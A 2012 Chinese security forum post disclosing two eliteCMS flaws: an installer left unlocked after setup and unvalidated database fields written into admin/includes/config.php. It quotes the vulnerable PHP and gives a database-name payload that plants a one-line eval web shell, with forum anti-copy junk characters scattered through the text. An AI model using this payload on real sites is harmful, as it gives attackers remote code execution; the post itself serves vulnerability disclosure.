找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2150|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
+ i3 X: K* {0 M2 P7 h& o+ S2 W# z6 P3 g1 t; O: v3 Y
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php: N9 A0 j  ~& p" ~1 J7 b5 w1 h* C
我们来看代码:( e+ M1 p) J, Q. Z" h5 _
# V9 _3 B* I4 f& Q; @
...
2 F. J; R* [0 telseif ($_GET['step'] == "4") {0 r8 T5 T0 Z8 m, O
    $file = "../admin/includes/config.php";
$ k. f* j" G* f8 B    $write = "<?php\n";
8 J! ^  H& G$ t4 F# }9 w6 [7 A' v" t6 q    $write .= "/**\n";
2 Q3 u9 N9 M) C/ E    $write .= "*\n";
6 W& }9 e6 m% h# J& j    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
# u9 ?; w# j$ U* G" o* N...略...- A5 f+ l; u+ A1 Y4 s% N; @
    $write .= "*\n";
% G  x" u! F7 o4 h6 W* q4 Z- O    $write .= "*/\n";9 N3 G) Q& A" X
    $write .= "\n";9 B7 T/ o) ]) y& _' T; w
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";$ _4 y  m* X9 z
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
2 J) k7 ^; z- L- W, u  @7 o, P8 W3 f    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
& V& c7 S' R6 R. R' }4 Y    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";" ?2 G  T/ C) `( C5 V  K$ {
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";% i: l. K# o% ^
    $write .= "if (!\$connection) {\n";. J# C, n. x* _4 q2 X
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
' c9 I$ l) P  w: u, [    $write .= "        \n";
5 _+ }3 d; I2 q5 D4 Z) G  U" I    $write .= "} \n";. {+ R/ z% d! ]/ r0 h' f5 U$ [
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";( ]2 U; Q6 r& w4 R
    $write .= "if (!\$db_select) {\n";
) T( k. f8 f, p, S/ j: h0 ^    $write .= "        die(\"Database select failed\" .mysql_error());\n";
  g4 B1 b0 ^; q1 q) S    $write .= "        \n";& t: u% n1 J- I8 x* @
    $write .= "} \n";5 T1 X, j( ?0 O
    $write .= "?>\n";
  [$ Q: ^# D6 @; {6 b" E/ X
- N/ H8 y/ B5 V" W( D% ~, g; R    $writer = fopen($file, 'w');3 z/ k$ o( \+ D3 L5 ^- Z
...
' P) m) N% X- u- y( E! A: H  z
+ L2 G: g. l5 }. ~2 b. d+ i" V在看代码:" t% t0 [6 s9 y1 {. l
) c% }4 b% d7 c( c/ ?
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];( ~( M! {' M/ a. S: v7 r
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];) g" P/ [) _. a: P
$_SESSION['DB_USER'] = $_POST['DB_USER'];
6 l$ I6 ?5 @8 l, T- u5 a& P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];7 M1 ^  I6 f8 i

) [9 \1 d' J/ g+ u+ V取值未作任何验证7 A" E) D+ K2 S& l1 J0 p
如果将数据库名POST数据:
  g  D$ v# P0 V$ j; g
' b/ a( G" K; f+ E2 c"?><?php eval($_POST[c]);?><?php
+ K8 L, b/ F. X! l 6 M% c2 ~' J1 G' l
将导致一句话后门写入/admin/includes/config.php
: Q/ N1 T" ?- w( O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表